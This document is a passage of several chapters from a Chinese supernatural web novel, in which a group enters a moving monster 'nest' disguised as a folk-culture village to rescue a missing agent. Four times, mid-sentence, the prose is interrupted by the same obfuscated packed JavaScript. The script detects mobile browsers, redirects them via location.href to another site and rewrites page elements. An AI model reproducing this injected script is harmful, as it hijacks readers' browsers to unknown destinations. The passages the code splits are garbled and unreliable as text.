“我其实暑假在这边租了房子,就在离这不远的城中村”,他挠挠头:“不过当时被你带过来后就没时间回去,我明天回去还得给房东阿姨说一声退房,等开学了我就住回学校了。” 他不好意思笑了笑,问道:“周末放假我可以来这边吗,正好和姬蒙医生一起干干杂活,再给神仙烧烧香火。” “你想来就来,这里已经记住你的气息了,直接开门就能进来”,沈云烟对他露出鼓励的笑:“想烧多少香就烧多少香,神会听到你的虔诚的。” “铃铃铃铃——” 阳台上挂着的断腿风铃突然响了起来,似乎在提醒着什么。 沈云烟了然:“有熟人来了。” 没一会儿,悠长的门铃声骤然响起,宋先看了一眼沈云烟的表情,自觉地去开门。 门外站着两个人,一男一女,都身着黑色尼龙材质的制服,头发衣服都一丝不苟地整齐摆放,年纪不大,气场很强。 “小谢,你怎么来了?”沈云烟道。 来人中的女性正是前段日子她见过的官方工作人员,暂时代替张雪和她对接的小谢。 谢橙抱着笔记本电脑,见到沈云烟时扬起了笑容,而后又想到什么,紧张着急地把同伴往进拉。 “这是陈林”,她介绍道:“是本部勘察队的同事。” 不苟言笑的陈林开口问好:“沈前辈好。” 谢橙打开电脑,慎重道:“沈前辈,有件非常紧急的事情需要您的帮忙,我们实在想不到有其他的办法了,只能来找您。” 她声音都在抖:“我上司,张雪前辈已经失联三天了。” 张雪是官方与沈云烟对接任务和交流信息的老人了,性格和能力都十分优秀,对待工作严谨认真,平时也很照顾下属,是不少新人的启明星。 “我记得你说她去做任务了”,沈云烟道:“什么任务,仔细说说。” 沈云烟和张雪是老熟人了,她暗中推演了一回【吉凶祸福】,结果却让人皱起了眉。 【凶卦】 “张姐这回出差是去外地的旅游景点调研,那边据说有破妄者出现的痕迹,所以她就带了两个勘察队的老手一起去找人,准备先确定目标后再通知组织派专人过来交涉。” “就在三天前,他们一行人信号突然中断,信息中心怎么也联系不上他们,而后间隔一天,那边警方反应有群众报警,在山脚下发现在两个昏迷不醒的人,经过我们的确认,正是当时那两个勘察队老手。” “他们已经送往了医院,直到现在还没醒,而张姐依旧不知所踪。” 谢橙在电脑上调出文件。 一张创意海报出现在电脑屏幕上,简朴的村舍建筑和蓝色的天空交织着,正中间印着硕大的黑色字体——赵家村民俗文化基地。 她把电脑推到众人面前:“这就是张姐这次任务的地点,具体情况,勘察队的陈林同志会更清楚些。” 陈林接过话:“最开始的异常波动是是有人观测到这个文化基地出现部分植物生长异常,能量波动很弱,所以勘察队初步认定可能存在新的破妄者。” 他点出一张卫星地图,标有星星的位置就是赵家村民俗文化基地,他接着道:“自从张姐失踪之后,我们队里有人发现这里的地理位置不对劲。” 陈林连续切出六张卫星截图:“这是这三天内不同时段的文化基地俯瞰图。” 他点击鼠标将六张图全部重叠在一起,很清晰地看到标记的星星连成了一条线。 “这个民俗文化基地在不断的移动,而且速度很快”,陈林沉声道:“组织里已经基本确定它是一座会移动的巢穴,而且还发现它在有目的地移动。” 他画出巢穴移动的轨迹,又做了直线轨迹的延伸线,也不知道是意外还是巧合,沈云烟的住处正好也那条延伸线上。 要是不做准备,这个所谓的民俗文化基地大概五天时间就能移动到沈云烟家门口和她脸贴脸了。 “倒像是冲着我来的”,沈云烟看懂了,她咬了一口嘎嘣脆的薯片,道:“那我确实得去看看那地方在搞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635831|143770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么鬼,不然白被人惦记了。” 谢橙和陈林默默对视一眼,齐声道:“我们也去!” “也行。” 按下马上就要开学的宋先,沈云烟叫了一声姬蒙,他刚刚见有客人来就把自己藏进房间里,半天不见人。 过了好一阵,把自己裹的严严实实的医生才磨磨唧唧从房间里走出来。 “我也要去吗?” 他好久没和外人相处了,而且最近他还没有控制好身体,万一当众长出手来就很难解释了。 “当然,你可是我们中最重要的一份子。”沈云烟理所当然。 谁都可以不去,她的八菜一汤不能不去。 接下来,宋先一脸哀怨地回学校上学,沈云烟带着姬蒙和两个官方人员一起坐上了陈林紧急调来的直升机。 “还真给配的直升机,我一直以为是传说”,谢橙这还是第一次坐上组织直达的专机,以前和同事讨论的时候都以为这是谣传。 陈林解释道:“因为这次情况紧急,一般的任务是申不到专机的。” “这次的巢穴罕见地可以移动”,他道:“内部专业人员给它评级为B12。” 谢橙嘶了一声:“B级的巢穴,虽然危险序列是12,但要是任其发展下去的话,迟早得出大问题了。” 潜力为B的巢穴,理论上已经具备影响一国的破坏力,最好的解决方案就是在它筑巢的初级阶段就直接铲除。 谢橙惴惴不安道:“就我们几个能行吗。” 她虽然着急救人,但对自己后勤人员的身份认知很准确,不拖后腿就算她争气。 “BOSS能批准我们跟着沈前辈肯定是相信我们”,陈林看她踌躇紧张,低声安抚道:“我们只是辅助,主力在前边呢。” 沈云烟一上机就开始闭目养神,丝毫不紧张,和她一起来的男人包的严严实实的,此时低着头玩刀,两人一个赛一个稳。 听到他们的谈话声,那个男人突然抬起头看了他俩一眼,停住动作,过了一阵又想起什么似的在自己带的包里面翻找。 “给,拿着。”他双眸看过来,递过来一把东西。 谢橙接过来,辨认道:“这是……香?” 姬蒙点点头,推销口吻道:“遇到危险拜神仙,很灵的。” 知道这个世界有时候会变得奇奇怪怪的谢橙珍重地把香放好,还叮嘱陈林也保存好。 陈林虽然也在组织里,但勘察队对沈云烟这个等级的特邀人员了解不多,只以为是什么能力强悍的破妄者,对于神之代行人的概念并不是很清晰。 谢橙和沈云烟这类人打的交道就多了,她拉住陈林的衣袖,神秘道:“保命的东西,死了都能给你拉回来。” “嗯”,他看了一眼谢橙拉他的衣袖,轻轻应了一声:“别怕,不会到死的那一步的。” “咱们一定能平安回来的。” “……” 谢橙突然嫌弃地看了他一眼:“呸呸呸,陈林同志,别乱立flag。” 她挥了挥拳头:“只要抱好大腿,不当累赘,咱们肯定能拳打巢穴,脚踢怪物,顺利解救张姐的!” 陈林:“……咳。” 以前也没见过这人这么中二,和他十岁的远房侄女一个模子刻出来。 陈林在心里过了一遍话,但是没敢说出来。 他笑了一下,应和道:“对,肯定可以。” 15. 第十五章 热情的民俗基地(1) 沈云烟闭着眼睛给直升机上所有人都算了一卦。 全员【凶卦】。 包括驾驶员在内,无一例外。 最后算到她自己身上,卦象摇摆不定,最终颤颤巍巍地显出【凶卦】。 “有意思。” 比起【言灵】,【祸福吉凶】的微小消耗对她来说可谓是清风徐徐。 把身边的物品算完,结果依旧一样,沈云烟顺便替袖里乾坤里的物件也开了一卦。 她倒要看看,这趟下来她有多少好东西要葬进这个巢穴里去。 “嗯?” 沈云烟盯着那个唯一【吉卦】的物品,目光逐渐危险。 一杆红色的拖把斜靠在袖里乾坤的角落,落满灰尘,看模样大概已经有一年半载没见过放出来过了。 “去赵家村对直升机上的所有人和物都有隐患,就对你是好事,嗯?” 她的袖里乾坤当然不会放普通物品,这杆廉价塑料把手配红色棉布条的拖把当然也不是普通物件。 “别装死,起来。” 被召唤出来的红拖把没了依靠的墙壁,自然哐当一下倒在了机舱地面,还因为惯性原因来回滚了滚。 沈云烟轻靠背椅:“或许你想来一场别开生面的欢迎会。” 红拖把须须抖了一下,但还是倔强地装死。 “你说是匕首割布条快,还是打火机烧布条快呢,真让人纠结。” 坐在她后排的姬蒙顿了顿,把自己的手术刀往前递:“用这个,高碳钢材质,很好用。” 他想了一会儿,还是认真补充道:“直升机上不能用打火机,有安全隐患,出门要注意安全。” “……谢谢提醒。” 沈云烟尽力忽略姬蒙,自然地接过手术刀,在红拖把面前比划:“你知道我的手段,我要是亲自动手,你仅剩的神智会瞬间消散,以后就真成烂布条了。” 红拖把立马想起这个女人把自己撕成一条一条的那个黄昏。 就是这种无所谓的表情,就是这个无所谓的态度,把它这么漂亮鲜艳的红衣服徒手撕的粉碎,然后随意捆在一起做成了拖把。 它可听说了,这比人类的五马分尸还要恶劣。 恐惧不住地蔓延,剧烈的幻痛还在身体上残留,它扛不住压力,两根须须扬起,末端合在一起上下拜拜,对沈云烟求饶。 “你赢得了活命的机会,现在我问你答。”沈云烟把手术刀还给姬蒙。 拖把竖起身,认真聆听。 “你和赵家村里的东西认识?” 拖把点点头。 沈云烟手指在扶手上点了点:“是你把它引过来的?” 沈云烟可没忘记自己家也在赵家村文化基地的移动路线规划里,太过巧合就是早有预谋。 拖把拼命摇头,急的恨不得张嘴说话,塑料杆被它甩的乱飞,把后排坐着的两个官方人员看的一愣一愣的。 陈林怔怔道:“沈前辈在逼问一只活的……拖把?” 谢橙接受度十分良好,她老神在在的 “以后会经常见到的,见多了就习惯了。” 怪物们千奇百怪,他们部门前辈可是见过更离谱的,相比下来,谢橙觉得自己看见拖把精求饶还算相对正常。 “好了,你吵到我眼睛了”,沈云烟看向窗外的景色,视角的高度在不断下降。 直升机稳定降落,他们到地方了。 沈云烟目光变得悠远。 “既然认识,就下去见见老朋友吧。” 她一脚把红拖把踹了下去,自己也轻盈落地,拖把精在土里滚了几圈,塑料杆脱落在一旁,它抖了抖身上的一团布条,又狗腿地爬过来蹲在沈云烟脚边。 谢橙下来时多瞟了几眼,小声道:“没牵绳都知道回来,比我家楼下的小黑狗听话多了。” 拖把精幽幽地朝那边“看”了一眼,心中的血盆大口已经张开。 它在变成这副模样之前可是杀名赫赫的鬼衣,怨气戾天,杀一个普通人轻而易举。 良久,它又忌惮地“看”了一眼沈云烟,憋的生疼也要憋住,怨气深重地又往沈云烟脚底下靠了靠,动作乖巧又听话。 这些人懂什么,关于逃脱魔爪它有自己的节奏,这都是策略。 直升机驾驶员是普通人,呆在安全地区待命,剩下的路要他们自己走。 “路程不远,二十分钟就能到”,陈林看了看路线图。 他方向感和观察力都不错,此时走在最前面带路。 沈云烟打量着四周。 这里有些过于荒凉了。 他们降落的地方比较偏僻,四周没有建筑,光秃秃地一片,顺着路线向前走了十分钟,才有了一些人类活动的痕迹。 平坦荒凉的土地上斜插着一块木牌,上面写着赵家村的字样,除此之外木牌周围还落了满地的营销宣传广告。 “这蓝天白云的广告背景和这鬼地方有半点相似吗?”谢橙吐槽道。 广告宣传很唬人。 【美丽的风景,让心自由飞翔】 【悠享尊贵服务,尽揽天地之美】 【来赵家村民俗文化基地,体验旧式民俗,感应人文魅力】 “看来我们到门口了”,沈云烟踩过广告页,平淡道:“走吧,B12都盛情相邀了,快点进去体验项目,别辜负人家的美意。” 她率先迈过赵家村木牌,红拖把紧紧跟在她的脚边,一起消失在众人眼底。 姬蒙连忙快步走了过去,跟上了沈云烟。 “我们也走吧,到时候随机应变”,陈林看向谢橙。 没一会儿,两人也一同消失在木牌后。 等到这里空无一人时,空间里仿佛有波纹在扭动舒展,突然间,刻有赵家村字样的木牌像是被无形的生物啃食了一口,边角突然多了个缺口,紧接着木牌被吃的越来越快,一点木屑都没留下,仿佛直接消失在空气中了。 等到木牌被彻底吞噬,这里就像从来没有存在过任何东西一样,安静的风流过空旷的地表,抚平地面上最后一丝痕迹。 停在不远处的驾驶员突然接到组织发来的通讯。 通讯员语气慎重:“这里是总指挥部,沈云烟四人通讯信号消失,原因不明,疑似和张雪遭遇一致。” “卫星检测到巢穴定位出现移动,为保证安全,请不要在原地停留,立刻退出十公里外,等待下一步指示,收到请回复。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635832|143770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 驾驶员最后看了一眼沈云烟几人消失方向,神色有些担心,最终还是沉声道:“是!” … “快点让我出去,你们这是绑架,我要报警!” 刚一进来,沈云烟就听见极其尖锐刺耳的高音在耳边响起,一阵骚乱涌动,那个尖锐的声音被什么东西捂住,杂乱的脚步声响起,那声音没一会儿就消失在了村落中。 这里有一整片村落。 她抬眸望去,人很多,有老有少,不乏穿着光鲜的男女,不过因为刚才的事,他们此时脸上多是惊慌。 有人崩溃哭道:“不是说是大型情景剧本杀吗,这到底什么鬼地方!” 姬蒙很快也进来了,他见状皱了皱眉。 “怎么这么多游客。” 人一多他有点不适应,背后的手又在蠢蠢欲动长出来,他忍了忍,搂紧了衣服。 谢橙和陈林紧随其后。 陈林晃了晃手中的民俗文化基地的宣传单:“看来这地方针对不同的人有不同的广告宣传。” 谢橙看着一片嘈杂的环境,不由感到心悸。 “怪不得能坑这么多人进来,这巢穴居然懂精准推送。” 风里有怪异的味道。 沈云烟部分封印解开后,五感也随之提升,清晰地感知到那股缓缓飘来的恶臭味。 她把手指放在唇边,示意道:“嘘,有东西来了。” 姬蒙站在她旁边,谢橙和陈林本来离她还有几步,此时也连忙靠了过来,帮忙警惕四周。 场面突然静了下来。 “剧本杀?我们赵家村当然有。” 一道苍老的声音传进人群,满脸褶皱的老大爷佝偻着背慢慢地走到刚刚崩溃大哭的男子身边。 跟在老大爷身后的有两个面相凶悍的中年男人,一人拿着一把沾了血的大砍刀,看着就来者不善。 老大爷笑着:“剧本不剧本我不知道”,他转身摸了摸锈迹斑斑的砍刀,露出一口大黄牙。 “杀肯定是真的杀,我们赵家村绝不骗人。” 话音刚落,一时间静的连空气都凝滞了。 “不……不用了。”男子退后几步跌倒在地,被不知道从哪里冒出来的村民像绑牲畜一样摁倒,捂住嘴架走。 没有人敢动。 老大爷满意地点头,终于露出点笑。 他转身望向沈云烟这边,和蔼道:“新来的游客,我是村长,有什么要求尽管提,我们赵家村可是出了名的热情好客,一定能给你们服务周到。” 村长用哄孩子的语气说话,那张布满皱纹的脸越是亲和,就越让人心底发凉。 “只有一点你们要记住,这里听不得哭声,想哭的人都去南边坟头上哭,那是个好地方。” 村长上下看了看这新来的四人,正要再说些什么,却突然被沈云烟脚边的红拖把吸引了注意。 他面色不善,惊惧中带着怒气:“你带的这是什么鬼东西,怎么这么红!” 没等沈云烟开口,人群中有道女声传来,帮她解释:“看着像可蒙犬,这类犬种长的就像是拖把,染的红色吧,挺自然的,看着就像红拖把。” “你说是吧,新来的。” 16. 第十六章 热情的民俗基地(2) 沈云烟目光移过去,那是个带着黑框眼镜的短发女人,见她看过来,腼腆地笑了笑,然后又把头低了下去。 “是啊,小狗而已”,沈云烟慢慢开口,观察着村长的神情举止。 脚边的拖把精憋了半天,见所有目光都聚在自己身上,耐不住压力,学着小狗的动作围着沈云烟转了几圈,乍一看还真像只拖把小狗。 村长强压着怒气,好像想动手又在忌惮着什么,最终他呸了一口:“什么晦气玩意儿,我给你一天时间赶紧处理掉它,不然有你们好果子吃。” 等到老头村长带着砍刀大汉彻底离开这里,游客们才真正松了口气。 “喂,他说要处理掉你,你怎么看?”沈云烟看着红拖把,表情戏谑。 拖把精看似逆来顺受,实际心里已经憋的快发疯了。 这个破巢穴里的傀儡居然想做掉它,真当它是软柿子。 它怨毒的目光追随着村长离去,直到被沈云烟轻轻踢了一脚,它才恢复了那副畏畏缩缩的痴呆模样。 怪物报仇,十年不晚! 沈云烟目光挪向短发女人,朝她点头:“张队,好久不见。” “好久不见”,短发女人笑着回道。 张雪摘下眼镜,看向沈云烟旁边包的严严实实的男人,疑问道:“这是?” 姬蒙回道:“我姓姬,是个医生。” 看到是沈云烟这边的人,张雪才收回审视的目光,自我介绍道:“特别行动组专员,张雪。” 她又看了两眼组织里的小年轻,皱眉道:“怎么让你们俩过来了,这里可不是你们两个普通人能应付的。” 谢橙见到张姐的喜悦还没在脸上表现出来,就被上司看的头皮发麻。 “我们向BOSS递过申请了,来之前就批准了”,谢橙立马澄清自己不是胡闹。 “新人更需要历练才能成才,我这回正当理由很多,张姐你不能罚我写检讨。” “好了好了,我也没说要罚你”,张雪拿这滑头没办法,转头问陈林:“你那两个前辈怎么样了?” 陈林答道:“还在昏迷,不过情况已经稳定下来了,您不用太担心。” 张雪松了一口气:“当时情况太危急,我们三个失联了,我醒来就发现自己进了巢穴,在这没找到他们两个,就猜他们还在外边,还好还好,没出什么大事。” “对了”,张雪想到什么,朝沈云烟脚底下瞥了一眼:“那老头最憎恶红色,你能想办法把它处理掉吗,不然等到晚上他会直接拒绝你们进他家。” “夜晚的赵家村有条禁令,不允许人在大街上行走,这里能容纳游客的只有村长家开的民宿,那是唯一的夜晚庇护所”,她严肃道。 “这里的夜晚很危险,晚上不被允许进屋的人,我从来没见过第二面。” 因为见过第一面之后就死了。 张雪又看了一眼装狗的红拖把,叹道:“我还是第一次见你养狗,还养了个这么像拖把的红狗,要不是村长太难缠,我还挺支持你多个爱好的。” 她一拍脑袋,想出个主意:“你要是舍不得的话还有个办法,我帮忙把它毛剃光,对,只要看不出红色就行,这主意方便又简单。” 沈云烟瞟了一眼瑟瑟发抖的红拖把。 没发现它还有演狗的天分,连张雪都糊弄过去了。 因为被迫当狗,红拖把已经在心里骂了好几遍了,一听有人还要剃它,立马蹦了起来撒丫子就跑,连沈云烟都忘在了脑后。 剃完了是没红色了,连它也直接没了。 “唉,怎么突然跑了。” 张雪眼看红色拖把狗一溜烟跑没影了,着急想上去追,却被沈云烟拦了下来。 “不用管它,它没事的。” 要是把鬼衣扔在门外一晚,说不来到底谁吃亏,是这巢穴里原本的怪物,还是曾经盛极一时的染血鬼衣,她还真有点期待。 不过鬼衣似乎认识B12,打不打地起来也说不准。 “哦哦哦对,是我着急了”,张雪恍然大悟道:“知道是你的狗我还瞎操心,你的狗变个身直接咬死村长都有可能。” “咳。” 张雪似乎对她有什么奇妙的误解。 “说不准它还真想这么干”,沈云烟已经看不见红拖把的影子了,继续道:“不聊它了,既然已经遇见你了,说说这里规矩吧,好方便下一步行动。” “这里限制很多”,张雪掰指头数道:“不能哭,不能有红色,不能大声喧哗,不能夜晚出门……” “除了这些,我们每天还要参加一场民俗体验活动,如果不能顺利通过的话,会被村长带走”,她表情有些古怪,“这些人第二天清晨会被村长再带回来,不过行为举止会变得十分怪异。” “看着不太像正常人。” 她眼神扫过人群中某个僵硬的身躯,压低声音:“现在这里就混着一个那种人。” 沈云烟顺着她的目光移过去,确实发现有个四肢僵硬,恍若提线木偶的怪人。 似乎发现了她的注视,怪人忽然把头转过来,露出一双黑瞳孔过多的眼睛,朝她笑了笑,森白的牙配上苍白的脸色,看起来并不友善。 沈云烟恍若不觉,仔细瞧了一遍那怪人,仿佛遇见的不是什么诡异事件而是案板上的猪肉。 那人的笑容有点僵,他盯住沈云烟,往前几步,竟是想走过来。 这时,村口大喇叭传出滋滋的电流声,过了一会儿,村长的声音出现:“尊敬的游客朋友们,赵家村民俗体验活动现在开始,今日体验:拾玉。” “赵家村中心的深井里有一串翡翠平安扣,拾到翡翠的游客请按照习俗把平安扣供给谷稷神像,往后定能招财进宝,五谷丰登,一生顺遂平安。” “听到这老头说吉祥话我鸡皮疙瘩都起来了”,谢橙摸了摸胳膊,汗毛直立。 “那老头天天当黄鼠狼给游客拜年,能不瘆得慌吗”,张雪扯了一下嘴角,道:“活动会截止到傍晚日落,必须在天黑之前把平安扣交给那什么神像,换取进入民宿的资格。” 游客们聚在一起低声讨论着村长说的活动,显然都知道日常民俗活动的重要性。 他们三三两两结伴而行,往村里的中心位置走去。 在这里结盟总比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635833|143770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个人单打独斗要更安心些,他们不约而同地避开了过于苍白僵硬的怪异游客,没一会儿,原地就只剩下沈云烟在内的五个活人和那位僵硬的怪人。 混在人群里的异类与正常人差别太明显,它融不进正常人群体中。 沈云烟脸上浮出一丝思索。 对于巢穴来说,如果花力气创造东西实现不了价值,那它就没有存在的必要。 既然这些怪人的作用不在于融入游客中当“鬼”,进而推动巢穴内屠杀的发生,那它们又是作为什么被创造出来的。 那僵硬如木偶的类人生物比正常人慢了半拍,它眼珠子微微转动,后知后觉察觉周围已经人已经散完了,它思考了一会,转身盯回了一开始就在注视它的沈云烟。 “它,它,它,过来了!”谢橙心中一惊,见周围没人动弹,深吸一口气绷住表情,努力让自己显得冷静又靠谱。 “我能和你们一组吗?” 木偶人嘴微微张开,发出了热情的人声,和它僵硬的脸形成诡异的对比。 就在谢橙汗毛全都竖起来时,站在最前面的沈云烟又向木偶人靠近了一步。 她挑剔地扫过略显呆滞的诡异类人,开口道:“你能为我们带来什么价值?” “要是你有用,我们可以考虑和你组队。” 木偶人脸上森然的笑容突然扩大,带着不怀好意回答道:“我会吃,我能吃很多东西。” “我最喜欢吃的就是陆地上两只脚行走的动物……” 它舔了舔苍白的唇,打量着面前神色各异的五个人,深黑的瞳孔反射不出一丝光。 木偶人再次开口问道:“我能和你们一组吗?” “我能和你们一组吗?” “我能和你们一组吗?!” 它语速加快,音量也在加大,如此活泼轻快的询问声不断在众人面前重复,一股荒诞的眩晕感扑面而来。 木偶人步步逼近,嘴边的笑肌拉扯着嘴角不断上扬,让众人的神经瞬间紧绷起来。 姬蒙目光顺着木偶人的动作而移动,手中飞速旋转的手术刀已经迫不及待。 陈林摸向怀中的配枪,专注于怪人的动作,全身肌肉蓄势待发。 虽然不知道枪支对这种怪物有没有用,但总比坐以待毙好。 张雪在原地没动,一直在等沈云烟的反应。 就在木偶人漆黑的眼珠子都快贴到沈云烟脸上的时候,一直神色淡定的沈云烟开口道:“可以。” 木偶人猛地顿住。 沈云烟看它:“你很有用,我同意你加入我们。” 它一卡一卡的,歪了歪头:“什么?” 沈云烟向旁边退了一步,扇了扇木偶人身上难闻的气味。 回答道:“能吃是福,我们需要有福气的人。” 她转头看看身后的众人,又看回了木偶人,露出了微笑:“不过挑食可不是好习惯,我的朋友。” “我觉得你得改改,你说呢?” 沈云烟热切地看向木偶人。 木偶人退了一步,收敛了笑容。 总觉得哪里不太对。 17. 第十七章 “叩拜神明,感恩庇佑,愿风调雨顺,五谷丰登,六畜兴旺,家业昌盛。” 一杆铜锣在村口大路被敲响,响声震天,路中间站着一个黑布蒙眼的布衫老头,拉长调吆喝着从古传承至今的敬神词。 赵家村的中心有一口水井,井上盖着圆形的木盖,上方压着沉重的巨石,似乎并不想让人打开水井盖。 “这井周围怎么有这么多柳树?”谢橙侧身从两棵腰身粗壮的柳树间挤了过去,抬头一看眼前尽是俯下的嫩绿柳枝。 井口四周参差种着数十棵柳树,长柳迎风,微微摇晃,像是被无形的手在拨动。 沈云烟走在队伍靠后的位置,诡异的类人生物紧跟在她的身后,脸上依旧是标准的露牙笑,一直死死地盯着沈云烟的后脖颈。 它眼珠微微晃动,淡淡的疑惑从眼中显现出来。 人类,为什么,不怕它。 它将嘴角拉的更大,瞳孔中的黑色蔓延至整只眼睛,苍白的脸上红色和黑色的纹路不断交错浮现,喉咙中涌出细碎的呜呜声,浑身上下透露出危险的诡异感。 显然它已经不准备当人了。 沈云烟回头看了一眼停在原地开始异变的木偶人,开口道:“别吵,走快点。” 木偶人顶着一张恐怖的脸依旧没能在这找到存在感,它似乎也没了别的招数,愣了一阵,还是小步追上了沈云烟几人。 走在最侧边的谢橙咽了咽口水,神色不太自然。 挫败的木偶人敏锐地感觉到她的紧绷,立刻来了精神,挂着刚刚那副样子对着谢橙笑,见她呼吸加重,步伐微乱,木偶人笑意加重,嘴角都快提到了太阳穴。 人类,怕它,正确。 “这东西怎么看着不太聪明的样子。” 张雪走在沈云烟旁边,最初对于非人生物的忌惮已经缓缓消散,她望了一眼努力吓人的木偶人,觉得十分幻灭。 “只会跟着人走,不动手也不动口,看着没什么威胁”,她悄悄打量了一会儿木偶人,继续道:“可能也就会变个脸吓吓胆小的人。” 她不解道:“难不成有什么禁忌的触发条件,不然巢穴把它创造出来干什么。” “或许,那不是巢穴的产物呢”,沈云烟折了条柳枝,将细长的柳条巧妙地折成了一个简易的人形。 她抬起手掌,手中的柳条人与对着谢橙龇牙咧嘴的类人生物正正重合。 “这个巢穴的味道很特殊”,她饶有兴趣道:“似乎不止有一位巢穴之主。” 张雪一愣:“一个就够难缠了,再多几个咱们不得全栽这。” 沈云烟摇摇头:“张队,有句话你可能忘记了……” 她看着村中心那口深井,眼眸逐渐变得专注,继续道:“……叫狗咬狗,一嘴毛。” “这里其他游客呢?”习惯随时随地保持警觉的陈林疑惑地看向四周。 他们因为那个怪异的人在原地停留了一阵,和大部队拉开了距离,按道理这会儿井口已经聚集了很多人,可现在除了他们几个,这附近连一个活人都找不见。 “如果出事了不可能一点痕迹和动静都没有”,他皱了皱眉,看向已经在这里呆了三天的张雪,问道:“张队,你有什么头绪吗?” 张雪点点头:“在村长的声音从广播里传出来时,民俗体验活动就开始了。” “如果平安扣只有一个的话,能完成任务的人也只有一个,意味着剩下的所有人都得死”,张雪道。 沈云烟摇头:“巢穴不会竭泽而渔,它们天性中渴望建立良好的循环,源源不断地为它提供成长的动力。” 张雪嗯了一声:“不错,所以同时进入任务地点的人会被默认成一组,拉进同一个场景中,不同组和不同组在进行民俗活动的时候是看不到对方的。” “除此之外,如果组内有五人的话”,她眼神点过伙伴们:“那这口井下边肯定有五个平安扣。” “只有任务完成或者死亡的时候,才会退出活动,成为可视的目标。” 她道:“这里一直致力于让游客感受到完整热情的民俗体验,只会在获取途中使绊子,在奖励数量上倒不会搞小动作。” 这倒是很符合巢穴的某种“混乱秩序感”,沈云烟想到。 “昨天我经历的民俗活动叫做定吉”,张雪道:“我们要去一个空着的神龛里摇签,摇出上上大吉后喂给守在神龛庞快要饿死的大黑狗才算任务结束,” “我运气不错,第三回就摇出了大吉”,她心有余悸:“当时和我同组有人摇到快天黑也没摇出来,情急打翻了签筒,挑出了最后一个大吉的签文。” “但喂给大黑狗的时候出了意外,大吉的签被狗吞了半截的时候,上边的字突然间变成了大凶。” “我眼前最后一个画面就是那狗突然变的无比怪异,狗嘴张到最大,狠狠咬住了那位打翻签筒的游客”。 她闭了闭眼,不忍回忆:“活动结束后,原地就剩下一具血肉模糊的尸体。” “违反规则的惩戒吗”,沈云烟问道:“那狗现在在哪?” “不知道,任务结束后我就没再看见它,似乎随着活动的结束一起消失了。”张雪回答道。 沈云烟盘算了一下:“那证明在我们看不见的地方,还藏着很多潜在威胁。” 得想个办法一起解决掉。 “时间差不多了”,沈云烟看向压在井盖上的巨石,道:“我们该想办法下井了。” 沉重的巨大石头稳稳压在井盖之上,凭正常人的力气根本无法挪动它,更何况巨石周身圆滚平滑,没有好下手的着力点,挪开它更是难上加难。 从头到尾都像个透明人的姬蒙扶了扶眼镜,突然开口道:“如果能找到合适的材料,理论上我们可以用杠杆撬动它。” 姬蒙接着说:“不过我有更简单省事的办法。” 张雪刚刚也想到了把石头撬开,但看了半天也没在周围找到能用的东西,此时见姬蒙有其他办法,连忙追问道:“什么招?” 姬蒙掀起袖子,露出斯文气质下流畅有力的健硕肌肉,他在众人面前推了把石头,直接把巨石推地往前滑了一截。 他的新身体的原材料是怪物残骸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635834|143770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那只章鱼在海里的时候可是海洋一霸,单只触手捏碎岛屿的事可没少干。 现在的他终于体会到了不用技巧直接推平的快乐,上一次这么愉快还是给那座医院塞制式武器的时候。 他回头看了一眼众人,发现他们都愣在原地,提醒道:“过来帮忙。” 张雪几人回过神,按住心中浓浓的吐槽欲,帮忙推石头。 他们几个加在一起起到了聊胜于无的作用,主力还是姬蒙。 “这也太夸张了”,谢橙抹了把手心的细汗,觉得世界越来越魔幻了。 “如果是正常人遇到这种情况,可能会去找大型器械来移开石头”,陈林也有点懵,他向周围扫过一圈,不确定道:“可能这里正常人也不多吧。” 破妄者本来就是特殊的存在,姬医生看着斯斯文文的,说不准就有增幅力气的能力,是他们大惊小怪了。 “哐当——” 石头被推开,重重砸在地上,地面直接被砸出深坑,足见巨石重量。 移开石头之后,幽深的井口在众人面前显露出来,从上望下去黑漆漆一片,根本看不清底下到底有什么。 一股森寒的凉气从井底涌了上来,令人不由自主地打了个寒战。 